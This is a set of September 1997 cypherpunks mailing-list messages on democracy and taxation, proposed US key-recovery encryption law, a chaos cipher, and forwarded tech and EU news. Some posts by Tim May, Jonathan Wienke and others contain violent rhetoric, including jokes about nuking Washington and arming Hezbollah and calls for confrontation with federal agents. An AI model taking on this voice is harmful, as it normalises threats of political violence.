>At 6:16 PM -0400 9/8/97, nospam-seesignature@ceddec.com wrote:
>On Sun, 7 Sep 1997, Steve Schear wrote:
>
>> Many, beginning with de Toquivelle, have noted that democracy brings with
>> it the unhappy possibility of a tyranny of the majority.  The reasons for
>> this shortcoming are closely tied to the decision of whom within the
>> democracy receives the franchise and how in a representative democracy
>> officeholders are elected.
>
>I don't think it is so much of the franchise as to the problem of whoever
>the enfranchised are voting themselves largess at the public trough (also
>noting how few of the franchised actually exercise the right today).  If
>no one would consider voting for subsidies, the country is safe.  As soon
>as the first subsidy is passed, a mob will form to lobby for a similar one
>to benefit them.  This will occur even if the enfranchised group is small
>- absolute power corrupts absolutely, even when it is every citizen who
>can wield it, or an oligarchy.

Your mention of oligarchy helps introduce Part III, which like Part I is
excerpted from the Soverign Individual.

--------------------

The conventional way to treating the role of democracy assumes that it
brings violence-using and violence-producing enterprises "increasingly
under the control of their customers. This is certainly the politically
correct conclusion. But is it true?

...democratic governments typically spend only a bare fraction of their
total outlays on the service of protection, which is their core activity.
In the United States, for example, state and local governments spend just
3.5 percent of their total outlays on the provision of police, as well as
courts and prisons. Add military spending, and the fraction of revenues
devoted to protection is still only about 10 percent.

Most democracies run chronic deficits. This is a fiscal policy
characteristic of control by employees. Governments seem notably resistant
to reducing the costs of their operations. An almost universal complaint
about contemporary government worldwide is that political programs, once
established, can be curtailed only with great difficulty.

...you would look in vain for hints of competitive influences on tax rates
according to which government services are priced. Advocates of lower taxes
sometimes have argued that government revenues would actually increase
because rates previously had been set so high that they discouraged
economic activity.  They did not argue that because tax rates in Hong Kong
were only 15 percent, rates in the United States or Germany must be no
higher than 15 percent. To the contrary. Tax debates have normally assumed
that the trade-off facing the taxpayer was not between doing business in
one jurisdiction or doing it in another, but between doing business at
penal rates or taking a holiday. You were told that productive individuals
subject to predatory taxation would walk away from their in-boxes and go
golfing if their tax burdens were not eased.

Customers would scream bloody murder if a telephone company attempted to
charge for calls on the same basis that income taxes are imposed. Suppose
the phone company sent a bill for $50,000 for a call to London, just
because you happened to conclude a deal worth $125,000 during a
conversation. Neither you nor any other customer in his right mind would
pay it. But that is exactly the basis upon which income taxes are assessed
in every democratic welfare state.

Government in many respects appears to be run for the benefit of employees.
For example, government schools in most democratic countries seem to
malfunction chronically and without remedy. If customers truly were in the
driver's seat, they would find it easier to set new policy directions.
Those who pay for democratic government seldom set the terms of government
spending. Instead, government functions as a co-op that is both outside of
proprietary control and operating as a natural monopoly. Prices bear little
relation to costs. The quality of service is generally low compared to that
in private enterprise. Customer grievances are hard to remedy. In short,
mass democracy leads to control of government by its "employees."

But wait...there are many more voters than there are persons on the
government payroll. How could it be possible for employees to dominate
under such conditions? The welfare state emerged to answer exactly this
quandary. Since there were not otherwise enough employees to create a
working majority, increasing numbers of voters were effectively put on the
payroll to receive transfer payments of all kinds. In effect, the
recipients of transfer payments and subsidies became pseudogovernment
employees who were able to dispense with the bother of reporting every day
to work.

When the magnitude of coercive force is more important than the efficient
deployment of resources, as was the case prior to 1989, it is all but
impossible for most governments to be controlled by their customers. When
returns to violence are high and rising, magnitude means more than
efficiency. Larger entities tend to prevail over smaller ones.

How did inefficiency fostered by democracy become a factor in its success
during the Age of Violence? The key to unraveling this apparent paradox
lies in recognizing two points:

1. Success for a sovereignty in the modern period lay not in creating
wealth but in creating a military force capable of deploying overpowering
violence against any other state. Money was needed to do that, but money
itself could not win a battle. The challenge was not to create a system
with the most efficient economy or the most rapid rate of growth, but to
create a system that could extract more resources and channel them into the
military. By its nature, military spending is an area where the financial
returns per se are low or nonexistent.

2. The easiest way to obtain permission to invest funds in activities with
little or no direct financial return, like tax payments, is to ask for
permission from someone other than the person whose money is coveted. One
of the ways that the Dutch were able to purchase Manhattan for twenty-three
dollars' worth of beads is that the particular Indians to whom they made
the offer were not the ones who properly owned it. "Getting to yes," as the
marketing people say, is much easier under those terms.... In fact, we
would be far more persuasive if we could rely instead upon the consent of
several people you do not even know. We could hold an ad hoc election, what
H. L. Mencken described, with less exaggeration than he might have thought,
as "an advanced auction of stolen goods." And to make the example more
realistic, we would agree to share some of the money we collected from you
with these anonymous bystanders in exchange for their support.


Why Customers Could Not Dominate

Those who paid for "protection" during the modern period were not in a
position to successfully deny resources to the sovereign, even acting
collectively, when doing so would simply have exposed them to being
overpowered by other, possibly more hostile states. This was an obvious
consideration during the Cold War. The customers, or taxpayers, who bore a
disproportionate share of the cost of government in the leading Western
industrial states were in no position to refuse to pay hefty taxes. The
result would have been to expose themselves to total confiscation by the
Soviet Union or another aggressive group capable of organizing violence.

Industrialism and Democracy

In 1760, the Polish national army comprised eighteen thousand soldiers.
This was a meager force compared to the armies commanded by rulers of
neighboring Austria, Prussia, and Russia, the least of whom could control a
standing army of 100,000 soldiers. In fact, the Polish national army in
1760 was small even in comparison with other units under arms within
Poland. The combined forces of the Polish nobility were thirty thousand men.

If the Polish king had been able to interact directly with millions of
individual Poles and tax them directly, rather than being limited to
extracting resources indirectly through the contributions of the powerful
Polish magnates, there is little doubt that the Polish central government
would have been in a position to raise far more revenues, and thus pay for
a larger army.

...the military disadvantage of failing to circumvent the wealthy and
powerful in gathering resources was decisive in the Age of Violence. Within
a few years, Poland ceased to exist as an independent country. It was
conquered by invasions from Austria, Prussia, and Russia, three countries
with armies each of which was many times bigger than Poland's small force.
In each of those countries, the rulers had found paths to circumvent the
capacity of the wealthy merchants and the nobility to limit the
commandeering of their resources.

During the Industrial Age prior to (the fall of the Belin Wall), democracy
emerged as the most militarily effective form of government precisely
because democracy made it difficult or impossible to impose effective
limits on the commandeering of resources by the state. Not only did
(citizens) face the aggressive menace of Communist systems, which could
produce large resources for military purposes since the state controlled
the entire economy. But true taxpayer control of government was also
impractical for another reason.

Millions of average citizens cannot work together effectively to protect
their interests. Because the obstacles to their cooperation are high, and
the return to any individual for successfully defending the group's common
interests is minimal, millions of ordinary citizens will not be as
successful in withholding their assets from the government as will smaller
groups with more favorable incentives.

Other things being equal, therefore, you would expect a higher proportion
of total resources to be commandeered by government in a mass democracy
than in an oligarchy, or in a system of fragmented sovereignty where
magnates wielded military power and fielded their own armies, as they did
everywhere in early-modern Europe prior to the eighteenth century.

Thus a crucial though seldom examined reason for the growth of democracy in
the Western world is the relative importance of negotiation costs at a time
when returns to violence were rising. It was always costlier to draw
resources from the few than from the many.

A relatively small, elite group of rich represent a more coherent and
effective body than a large mass of citizens. The small group has stronger
incentives to work together. It will almost inevitably be more effective at
protecting its interests than will a mass group. And even if most members
of the group choose not to cooperate with any common action, a few who are
rich may be capable of deploying enough resources to get the job done.

To summarize, the democratic nation-state succeeded during the past two
centuries for these hidden reasons:

1. There were rising returns to violence that made magnitude of force more
important than efficiency as a governing principle.

2. Incomes rose sufficiently above subsistence that it became possible for
the state to collect large amounts of total resources without having to
negotiate with powerful magnates who were capable of resisting.

3. Democracy proved sufficiently compatible with the operation of free
markets to be conducive to the generation of increasing amounts of wealth.

4. Democracy facilitated domination of government by its "employees,"
thereby assuring that it would be difficult to curtail expenditures,
including military expenditures.

5. Democracy as a decision-rule proved to be an effective antidote to the
ability of the wealthy to act in concert to restrict the nation-state's
ability to tax or otherwise protect their assets from invasion.

Democracy became the militarily winning strategy because it facilitated the
gathering of more resources into the hands of the state. Compared to other
styles of sovereignty that depended for their legitimacy on other
principles, such as the feudal levy, the divine right of kings, corporate
religious duty, or the voluntary contributions of the rich, mass democracy
became militarily the most potent because it was the surest way to gather
resources in an industrial economy.











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 9 Sep 1997 09:46:05 +0800
To: cypherpunks@toad.com
Subject: Is Feinstein's comment a blessing in disguise?
Message-ID: <199709090124.SAA20631@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



    "Nothing other than some kind of mandatory key recovery really
    does the job," the California Democrat said at a hearing of the
    Senate Judiciary Committee's technology, terrorism, and government
    information subcommittee.

This comment may, in fact, be a powerful weapon against ANY control.

In fact, Feinstein is believing that no half-assed policy (including
the current policy and Kerrey's bill) will really help law enforcement
much.  I can imagine why Freeh would not just jump at that conclusion
full-force.  He is not that stupid.  If he were to hold onto that
conclusion too tightly, then there is little justification for any law
"encouraging" the proliferation of key-recovery products, as that
would be worthless in terms of providing relief to law enforcement.

Basically, Feinstein is providing further support for the
long-standing argument that unless you plug every leak (a.k.a. no
KR/GAK product), criminals will find the loop-hole and work around
government surveillence.

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 8 Sep 1997 16:55:24 +0800
To: Nobuki Nakatuji <bd1011@hotmail.com>
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <19970908071919.4105.qmail@hotmail.com>
Message-ID: <Pine.LNX.3.93.970908183209.117A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 8 Sep 1997, Nobuki Nakatuji wrote:

> Gao's Chaos Cryptosystem Algorithm

[...]

> 4.chaos initial condition plus chaos signal
>   XOR plain text

Wouldn't it be a good idear to use some sort of feed back method?

-- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 9 Sep 1997 10:18:29 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: A helluva way to run a country, er, a world
In-Reply-To: <v03102809b03734c24855@[207.167.93.63]>
Message-ID: <3.0.3.32.19970908183433.006ff4e8@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713730.multipart/signed"

--Boundary..3984.1071713730.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

>        (b) As of January 1, 1999, it shall be unlawful for any
>        person to manufacture for sale or distribution within
>        the U.S., distribute within the U.S., sell within the
>        U.S., or import into the U.S., any product that can be
>        used to encrypt communications or electronic
>        information, unless that product:
>
>         (1) includes features, such as key recovery, trusted 
>         third party compatibility or other means, that
>
>          (A) permit immediate decryption upon receipt of
>          decryption information by an authorized party without
>          the knowledge or cooperation of the person using such
>          encryption product; and

Translation:  If I whisper in someone's ear in cyberspace, and I do not
immediately provide a transcript of the conversation to the government, I
am in violation of the law, and subject to whatever penalties it specifies.

>          (B) is either enabled at the time of manufacture,
>          distribution, sale, or import, or may be enabled by the
>          purchase or end user; or

This is stupid.  Do Freeh & Co. really think any self-respecting pedophile
or terrorist is going to use GAKed crypto products, or that if GAK can be
disabled, that people won't disable it?  I predict that this section is
going to quietly disappear from the final version of the bill.

>         (2) can be used only on systems or networks that include
>         features, such as key recovery, trusted third party
>         compatibility or other means, that permit immediate
>         decryption by an authorized party without the knowledge
>         or cooperation of the person using such encryption
>         product.

This is stupid also.  If my ISP uses GAKed crypto protocols, can I use PGP
5.0?  Freeh & Co. can immediately decrypt the packet stream.  Am I jailbait
if all they get is "--------Begin PGP Message--------"?  What about
encrypted .wav stego?

Tim May allegedly said:
>The Anti-Terrorism Act of 1995, though apparently not being used in any
>significant way (yet), would have done some of the same sorts of things. If
>an organization was declared to be a terrorist-supporting organization,
>various sanctions would have applied to those who contributed money or
>certain other types of aid to such organizations. As others have noted, the
>Bureau of Thought Crimes has not yet issued a list of which organizations
>are considered terrorist.
>
>(One of my fondest hopes is that the Cypherpunks group makes this list. I'm
>hoping that enough support of various types provided to freedom fighters in
>the ZOG sections of Palestine will get us on this list. I'm itching for a
>confrontation with the jack-booted thugs, as you may know.)

I'm sure that the opposition to GAK expressed by most posters to the list
will be sufficient without our buying any Russian suitcase nukes for
Hezbollah.  However, I would caution you re provoking a confrontation with
the JBT's.  From a propagandist's perspective, they can smear your
reputation much more easily if you have a history of provocative actions
(like Jim Bell's stink bomb).  If you have never threatened anyone in your
life (even people who richly deserve it) and several armed individuals kick
in your door and you shoot them, you can look much more righteous in the
media than if you are constantly calling for the death of thousands.  OTOH,
if the situation is not avoidable, then "Give me liberty or give me death!"
 (In either case, pass the ammo.)

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

They came for the pedophiles using crypto, and I said nothing, because I am
not a pedophile.  They came for the drug dealers using crypto, and I did
nothing, because I am not involved with drugs.  They came for the
proponents of AP, and I did nothing, because I hoped that political change
could still be effected at the ballot box.  They banned non-GAK crypto, and
I purchased my quota of ammunition, because the Constitution guarantees
freedom of speech, the right to keep and bear arms, and protection against
unreasonable search and seizure.  They came for the users of non-GAKed
crypto, and I became the poster boy of a propaganda campaign denouncing
right-wing cryptolibertarians with guns.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3984.1071713730.multipart/signed
Content-Type: application/octet-stream; name="pgp00001.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00001.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IDFscDBKTkMvWVp5
MVdUNTNnaVNCeEFzQlRIRkhLb3QzCgppUUEvQXdVQk5CU3VXTUpGMGtYcXB3
M01FUUxseEFDZ2lMUUVra2xxTjZyaG1JdU1XWW5rRGo4SXBxUUFualdmCmRM
TWZ2V2wvWTNNSnVIbisraUViU0t0Sgo9Vms4aQotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3984.1071713730.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 9 Sep 1997 07:19:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Removing Tyranny from Democracy (Part II), was Democracy is the true enemy...
In-Reply-To: <199709081954.MAA02751@netcom13.netcom.com>
Message-ID: <97Sep8.185450edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 8 Sep 1997, Vladimir Z. Nuri wrote:

> our elections are also corrupted by the fact that voters are not
> expending any significant effort to decide whom to vote for. they
> watch tv, and if an advertisement pushes their buttons in the right
> way, it affects their vote.

After the current elections, we ended up with a more complex tax code, a
new entitlement, more budget sophistry, increased spending, less
soverignity, etc.

Assuming a 50 member difference in the house either way (and a similar
proportion in the Senate, or Beltway Bob instead of Beltway Bill), would
any of these things be substantially different?

And those that expended effort in things like ballot initiatives only saw
them overturned by the courts.

I can expend all the effort I want, but nothing will change.  Most people
have figured this out and don't bother voting.  The ones who do vote
simply vote for the one who promises them the most visible subsidy since
for little effort, they might get a benefit.

The corruption derives exclusively from the ability of government to
redistribute wealth.  As soon as it does this to any degree, the logical
thing to expend effort on is getting a greater share of the transfer.

If I vote to deny myself, everyone else gets the benefit.

You might disagree with the results, but I think greed, sloth, and
corruption are perfectly representative of those who vote - democracy
still works in that way.

> the public needs to eventually learn that for every dollar they send
> to washington, they get only a fraction back, no matter how lucrative
> their own pork. the problem with our
> politics is that voters have not realized that they are almost always
> cheating themselves when they try to cheat their neighbors. it's a shell
> game that they keep playing as long as they think someone else is paying.

David Freedman described this perfectly (my paraphrase from memory):

100 people sit around the table with 100 pennies each.  Someone starts
with the first and takes a single penny from each and dumps 50 back at the
first person.  This process is repeated for each person.  Everyone ends up
with half the wealth, but are happy because the 50 cents in bulk is easier
to spot than the single pennies being removed.

Except for Harry Browne who asked would you give up your favorite subsidy
if it meant you never had to pay taxes again, the tax cuts are separated
from the subsidies.  If the recipient lobbys for the subsidy, he gets
$500, but if I get it cut, I may save $0.50.  A few beneficiaries will do
whatever it takes because it is many times more important to them to have
the subsidy than the millions who would have to pay more for postage or
the phone call to oppose it than they do in taxes for that one program. 

You learn that it costs far more to prevent spending than to lobby for
your own share.  It is not a problem with politics, but with any system
that has concentrated benefits but dispersed costs.

[and that is why the internet is such a threat to our current way of doing
things - it disperses everything making it impossible to concentrate
benefits - routing around political subsidies as it does everything else.]

With tax rates going up (a concentrated cost), the money is coming from
the unborn generations who will have to pay back the principle on the long
term debt.  They don't vote - and when they do it will be too late to do
anything about it - which may be now. 

> I don't believe there are intrinsic flaws in democracy, so much as
> there are intrinsic flaws in *human*nature* that are coming to light
> after decades. government is a reflection of our human natures.
> one cannot really expect a government to correct the flaws of its
> users, any more than software could do the same.

But then the question is whether democracy (which needs more definition) 
is the best system to compensate for the flaws.  For example: Markets turn
selfishness to utility.  What virtue is promoted or vice limited or
converted by democracy per se?

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 9 Sep 1997 11:08:58 +0800
To: cypherpunks@algebra.com
Subject: Re: Government shows its hand...good news!
In-Reply-To: <v03102802b03a4c4ebf40@[207.167.93.63]>
Message-ID: <v03102804b03a62a9ffc4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:39 PM -0700 9/8/97, Dr.Dimitri Vulis KOTM wrote:
>Tim May <tcmay@got.net> writes:
>
>> The remaining alternate course, that the Act is passed, and then that the
>> Supreme Court eventually affirms its constitutionality, is also good for
>> us. For it will then mean war has been declared, and various extreme sorts
>> of actions will then accelerate.
>>
>> And that could be a lot of fun.
>
>Nuke Washington DC.

Perhaps so, but as Stalin said, paraphrasedly,

"How many megatons do the Cypherpunks control?"

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 9 Sep 1997 07:44:04 +0800
To: cypherpunks@Algebra.COM
Subject: ctb196.htm
Message-ID: <199709082336.TAA27048@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1]Marketplace Technology [2]Front page, [3]News, [4]Sports, [5]Money,
   [6]Life, [7]Weather, [8]Marketplace 
   Inside Tech
   &#149; [9]FAQ, Tips and
     [10]Tricks
   &#149; [11]Web Column
   &#149; [12]Hot Sites
   &#149; [13]Tech News
   &#149; [14]Tech Reviews
   &#149; [15]Answer Desk
   &#149; [16]Shareware Shelf
   &#149; [17]Web Potholes
   &#149; [18]Web Resources
   &#149; [19]Tech Front
   
   Resources
   &#149; [20]Index
   &#149; [21]Search
   &#149; [22]Feedback
   &#149; [23]What's hot
   &#149; [24]About us
   &#149; [25]Jobs at USA
     [26]TODAY
   
   09/08/97- Updated 09:34 AM ET
   
  PCs no longer needed to place Net calls
  
   Consumers can now make super-cheap, long-distance phone calls over the
   Internet without even touching a computer - creating a dangerous rival
   for long-distance companies.
   
   Monday, IDT unveils Net2Phone Direct, a service that lets a consumer
   pick up a phone, dial a number and send the call through the Internet
   to another phone anywhere in the world. The cost: 8 cents a minute
   within the USA; 18 cents to London; 29 cents to Japan - all cheaper
   than traditional long-distance calling.
   
   Net2Phone Direct is the broadest service yet. Versions are being tried
   by others, including units or partners of Deutsche Telekom and Japan's
   KDD. Says David Goodtree of Forrester Research, "Phone to phone is
   where the money is."
   
   "It's the natural evolution of voice over the Internet," says Yankee
   Group's Brian Adamik. Several software packages already let a PC user
   have a voice conversation with another PC user via the Internet.
   Vocaltec, the leading Internet phone company, offers a service that
   connects a PC user to regular phones. But phone-to-phone can reach the
   broadest number of consumers.
   
   Net2Phone Direct works like a long-distance, dial-around service. A
   user dials an 800 number or a local access number, punches in an
   account number, much like using a phone card, then dials the number to
   be called.
   
   IDT's system sends the call over the Internet to a computer in
   Hackensack, N.J., which dumps the call back into the regular phone
   network, through which the call connects to another phone. IDT plans
   to expand the system by placing its computers in more cities, so the
   calls travel more over the Net (which is free) and less distance over
   traditional phone lines (which cost money). Eventually, prices could
   fall "to under a nickel a minute to anyplace in the country," says CEO
   Howard Jonas.
   
   Until recently, major phone companies had all but ignored developments
   in Internet telephony. But that's changing. Big phone companies "are
   keeping a careful eye on it," Adamik says.
   
   Last week, Deutsche Telekom announced an investment in Vocaltec. Over
   the summer, AT&T and Vocaltec allied to fund an Internet telephony
   start-up run by former AT&T executive Tom Evslin.
   
   By Kevin Maney, USA TODAY
     _________________________________________________________________
     _________________________________________________________________
   
   [27]Front page, [28]News, [29]Sports, [30]Money, [31]Life,
   [32]Weather, [33]Marketplace
   
   (c)COPYRIGHT 1997 [34]USA TODAY, a division of Gannett Co. Inc. 

References

   1. http://www.usatoday.com/cgi-bin/redir?SpaceID=342&AdID=875&URL=http://www.usatoday.com/marketpl/tech.htm
   2. http://www.usatoday.com/usafront.htm
   3. http://www.usatoday.com/news/nfront.htm
   4. http://www.usatoday.com/sports/sfront.htm
   5. http://www.usatoday.com/money/mfront.htm
   6. http://www.usatoday.com/life/lfront.htm
   7. http://www.usatoday.com/weather/wfront.htm
   8. http://www.usatoday.com/marketpl/mkthome.htm
   9. http://www.usatoday.com/life/cyber/webfaq.htm
  10. http://www.usatoday.com/life/cyber/webfaq.htm
  11. http://www.usatoday.com/life/cyber/cc.htm
  12. http://www.usatoday.com/life/cyber/ch.htm
  13. http://www.usatoday.com/life/cyber/tech/ct000.htm
  14. http://www.usatoday.com/life/cyber/tech/review/cr000.htm
  15. http://www.usatoday.com/life/cyber/bonus/qa/techform.htm
  16. http://www.usatoday.com/life/cyber/cs/cs000.htm
  17. http://www.usatoday.com/life/cyber/cp.htm
  18. http://www.usatoday.com/life/cyber/cw.htm
  19. http://www.usatoday.com/life/cyber/cyber1.htm
  20. http://www.usatoday.com/leadpage/indexusa.htm#ldex
  21. http://167.8.29.8/plweb-cgi/ixacct.pl
  22. http://www.usatoday.com/feedback/comment1.htm
  23. http://www.usatoday.com/leadpage/usanew.htm
  24. http://www.usatoday.com/leadpage/credit/credit.htm
  25. http://www.usatoday.com/leadpage/usajobs0.htm
  26. http://www.usatoday.com/leadpage/usajobs0.htm
  27. http://www.usatoday.com/usafront.htm
  28. http://www.usatoday.com/news/nfront.htm
  29. http://www.usatoday.com/sports/sfront.htm
  30. http://www.usatoday.com/money/mfront.htm
  31. http://www.usatoday.com/life/lfront.htm
  32. http://www.usatoday.com/weather/wfront.htm
  33. http://www.usatoday.com/marketpl/mkthome.htm
  34. http://www.usatoday.com/leadpage/credit/credit.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 9 Sep 1997 10:54:07 +0800
To: cypherpunks@toad.com
Subject: Stewart Baker's analysis of administration crypto-proposal
Message-ID: <Pine.GSO.3.95.970908193729.17353F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 8 Sep 1997 19:13:52 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Stewart Baker's analysis of administration crypto-proposal

[Some folks have asked me why I'm sending so much encryption-related
information recently. The answer is simple: this week will be a crucial
one in deciding how much privacy Americans will enjoy in the digital age.
This proposal is //at least// as important and newsworthy as the original
Clipper Chip was, and ranks up there with the Communications Decency Act.
Thanks to Stewart Baker for forwarding. --Declan]

---------- Forwarded message ----------
Date: Mon, 08 Sep 97 18:19:24 EST
From: Stewart Baker <sbaker@mail.steptoe.com>
To: declan@well.com

         Declan, here is a quick analysis of the latest leaked 
     Administration legislative draft on encryption.  Whether this language ever 
     sees the light of day in this form, however, is open to doubt.  With that 
     disclaimer, here's what the bill seems likely to do.
     
     Stewart Baker
     
     
          THE LANGUAGE
          
                    The draft borrows heavily from the structure and content of 
          the Kerrey/McCain legislation--it even retains the title, the "Secure 
          Public Networks Act".   In fact, the provisions in Titles IV through X 
          of McCain/Kerrey regarding the registration of certificate authorities 
          and key recovery agents, liability, criminal penalties, defenses, 
          international negotiations, authority of the Secretary of Commerce to 
          investigate compliance with the Act, and authority for the Attorney 
          General to bring actions to enjoin violations of the Act are largely 
          unchanged in this draft.  The significant changes are:
          
               --   gone is the section (102) that would prohibit mandatory 
          third party escrow of keys.  In its place is a new section (105) that 
          would prohibit, after January 1, 1999, the provision of encryption 
          services in the U.S., or the manufacture for sale or distribution in 
          the U.S. of encryption products/systems, that do not have a plaintext 
          recovery feature that may be turned on at the option of the user.
          
               --   gone is the exclusive emphasis on key recovery as the 
          technology for assuring plaintext recovery.  Instead, this legislation 
          would require products and systems that permit immediate decryption 
          without the knowledge or cooperation of the user.  The Attorney 
          General is to issue regulations describing these functional criteria, 
          but there is no provision requiring public notice and comment on such 
          regulations.
          
               --   gone is the language requiring key recovery agents to 
          disclose recovery information when presented with a subpoena.  In its 
          place is language that indicates a court order or court authorized 
          warrant is required before a key recovery agent may disclose recovery 
          information.  
          
               --   added is export license exception treatment for products 
          that are access or recovery enabled, regardless of algorithm, key 
          length,  or even whether the access feature is activated.  This would 
          be broader than McCain/Kerrey which would extend license exception 
          treatment to products with over 56-bit key lengths only if the product 
          includes an access feature and the access feature is turned on at the 
          time of export.
          
               --   retained is the provision to decontrol 56-bit encryption 
          after one time review.  However, the bill adds an Encryption Export 
          Advisory Board, composed of industry and government representatives, 
          to, among other things, recommend to the President whether the key 
          length of encryption exports to be decontrolled should be raised 
          beyond 56 bits.  The President retains the final decision making 
          authority, however.
          
               --   gone is the McCain/Kerrey provision that would authorize the 
          Secretary of Commerce to prohibit any exports that could be contrary 
          to U.S. security interests.
          
               --   added is a provision to permit license exceptions for voice 
          products with encryption if the Secretary of Commerce determines that 
          requiring an access feature  would be a competitive disadvantage and 
          permitting the export would be compatible with U.S. foreign and 
          national security policies.
          
               --   retained are the provisions that require the use of 
          accessible encryption products and services on any system used or 
          funded by the Government, but this draft sets a January 1, 1999 date 
          of compliance.
          
               --   contrary to earlier indications, there is no requirement for 
          certificate authorities registered under the Act to ensure recovery 
          information is escrowed with a recovery agent registered under the 
          Act.
          
          ANALYSIS
          
                    Even though expected, the big news with this draft is the 
          introduction of domestic control of encryption products and services 
          available in the U.S.  For many, the idea of such controls is simply 
          an unacceptable infringement on privacy.  But even for those who could 
          be persuaded of the need for such controls, the implementation date 
          provided (January 1, 1999) is unworkable.  Industry must have the time 
          to research and develop access technology appropriate to their 
          products, particularly in the telecommunications industry where the 
          demand for security is increasing, but there is little or no market 
          for key recovery and its associated infrastructure.  Likewise, 
          manufacturers cannot afford to write off the investments they have 
          made in existing security products or services by being compelled to 
          implement new designs before technology turnover would normally be 
          expected to occur.
          
                    A related concern would be to ensure new products with 
          access features may interoperate with products or services that are 
          already in use without such features.  It is unreasonable to expect 
          that users could afford to replace their existing systems with new 
          products that include access features.  The language of this draft 
          would seem to permit such interoperability since the access feature is 
          required only to be an option that may be turned on by the user, or 
          not.  But even if the legislation is understood as permitting such 
          interoperability, the cost to manufacturers and consumers of meeting 
          this new requirement could be substantial.  








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 9 Sep 1997 07:48:02 +0800
To: cypherpunks@Algebra.COM
Subject: I see the Wells Fargo Wagon it's a-comin down...
Message-ID: <199709082338.TAA27064@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text




                 EU official proposes global Internet charter
                                       
      Copyright (c) 1997 Nando.net
      Copyright (c) 1997 Reuter Information Service
      
   BRUSSELS, Belgium (September 8, 1997 11:21 a.m. EDT) - The top
   telecommunications official of the European Union called Monday for an
   international charter to regulate the Internet and other electronic
   networks.
   
   EU Commissioner Martin Bangemann, in a speech prepared for a
   telecommunications conference in Geneva, said the charter should deal
   with questions such as technical standards, illegal content, licenses,
   encryption and data privacy.
   
   "The current situation may lead to the adoption of isolated global
   rules with different countries signing up to different rules agreed
   under the auspices of different international organizations," the
   German commissioner said.
   
   "An international charter would provide a suitable answer."
   
   The text of the speech was distributed in Brussels.
   
   Bangemann said industry should lead the effort to draw up a charter,
   which would be based mostly on self-regulation and mutual recognition
   of national licenses.
   
   "Its role would not be to impose detailed rules, except in particular
   circumstances (child pornography, terrorist networks)," he said.
   
   The charter would recognize existing pacts negotiated within the World
